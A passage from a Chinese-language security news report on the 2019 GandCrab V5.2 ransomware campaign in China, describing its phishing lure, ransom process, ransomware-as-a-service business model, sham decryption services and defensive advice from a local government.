      “GandCrab颇有些武侠小说中侠盗的意味,盗亦有道,”一位匿名的安全人员说,“不过即使这样,也不能说GandCrab的行为就是正当的,毕竟它对其他国家的人就没有心慈手软。”

二、攻击强悍:我国已经成为重要攻击目标

      虽说GandCrab盗亦有道,但GrandCrab V 5.2版本所使用的语言,主要是中文、英文以及韩文,说明我国目前已经成为其重要的攻击目标。

      根据国家网络与信息安全信息通报中心监测,GandCrab V5.2自2019年3月11日开始在中国肆虐,目前已攻击了上千台政府、企业以及相关科研机构的电脑。

      截止目前,湖北省宜昌市夷陵区政府、中国科学院金属研究所、云南师范大学以及大连市公安局等政府、企业、高校,均在其官网发布了防范病毒攻击的公告。

夷陵区政府官网截图

      据网络安全分析师David Montenegro所说,GandCrab V5.2勒索病毒目前已经感染了数千台中国电脑,接下来还将通过RDP和VNC扩展攻击影响中国更多的电脑。

三、攻击手段:垃圾邮件

      据了解,GandCrab V5.2勒索病毒,目前主要是通过邮件形式攻击。

      攻击者首先会向受害人邮箱发送一封邮件,主题为“你必须在3月11日下午3点向警察局报到!”,发件人名为“Min,Gap Ryong”,邮件附件名为“03-11-19.rar”。

图来自腾讯安全

      受害者一旦下载并打开该附件,GandCrab V5.2会立刻对用户主机硬盘数据进行全盘加密,并让受害者访问特定网址下载Tor浏览器,随后通过Tor浏览器登录攻击者的加密货币支付窗口,要求受害者缴纳赎金。

      目前DVP区块链安全团队猜测,除了垃圾邮件投放攻击,GandCrab V5.2还有可能采用“网页挂马攻击”,即除了在一些非法网站上投放木马病毒,攻击者还可能攻击一些防护能力比较弱的正规网站,在取得网站控制权后攻击登陆该网站的用户。

      另外,该病毒也有可能通过CVE-2019-7238(Nexus Repository Manager 3远程代码执行漏洞)以及Weblogic等漏洞进行传播。

      但综上所述,目前此勒索病毒的主要攻击方式,仍是邮件为主。

四、不可破解:地表最强的勒索病毒?

      今年2月19日,Bitdefender安全实验室专家曾根据GandCrab自己给出的密钥,研发出了GandCrab V5.1之前所有版本病毒的“解药”。

      然而,道高一尺,魔高一丈。根据ZDnet报道,今年2月18日,就在Bitdefender发布最新版本破解器的前一天,GrandCrab发布了正肆虐版本V5.2,该版本至今无法破解。

      目前在暗网中,GrandCrab幕后团队采用“勒索即服务”(“ransomware as-a-service” )的方式,向黑客大肆售卖V5.2版本病毒,即由GrandCrab团队提供病毒,黑客在全球选择目标进行攻击勒索,攻击成功后 GrandCrab团队再从中抽取30%-40%的利润。

      “垃圾邮件制造者们,你们现在可以与网络专家进行合作,不要错失获取美好生活的门票,我们在等你。”是GrandCrab团队在暗网中打出的“招商广告”。

      GandCrab是目前第一个勒索Dash币的勒索病毒,后来才加了比特币,要价499美元。据GandCrab团队2018年12月公布的数据,其总计收入比特币以及Dash币合计已高达285万美元。

GandCrab收入截图

      对此勒索病毒,有一些论坛上出现了宣称可以破解 GandCrab V5.2的企业和个人。一家匿名的区块链安全公司表示,这些基本都是骗子,是皮包公司,根本没有能力对病毒进行破解。他们所宣称可以破解GandCrab V5.2,其实是“代理”破解。

      他们的破解条件是先付款,再破解,即他们收你的钱,帮你向勒索者支付加密货币,从而拿到解密密钥(破解)。

五、防御之法

      面对攻击者的来势汹汹,宜昌市夷陵区政府给出了一些应对之策:

      1. 不要打开来历不明的邮件附件;

      2. 及时安装主流杀毒软件,升级病毒库,对相关系统进行全面扫描查杀;

      3. Windows中禁用U盘的自动运行功能;

      4. 及时升级操作系统安全补丁,升级Web、数据库等服务程序,防止病毒利用漏洞传播;

      5. 对已感染主机或服务器采取断网措施,防止病毒扩散蔓延。

      而对于邮件来往密集的企事业单位,MailData 建议尽快安装邮件网关系统,以专业的病毒库来进行防御。因为对于目前暂时无法破解的病毒,还是从根源上杜绝它们的进入更为保险。​​​​

来源:广东省网络安全应急响应平台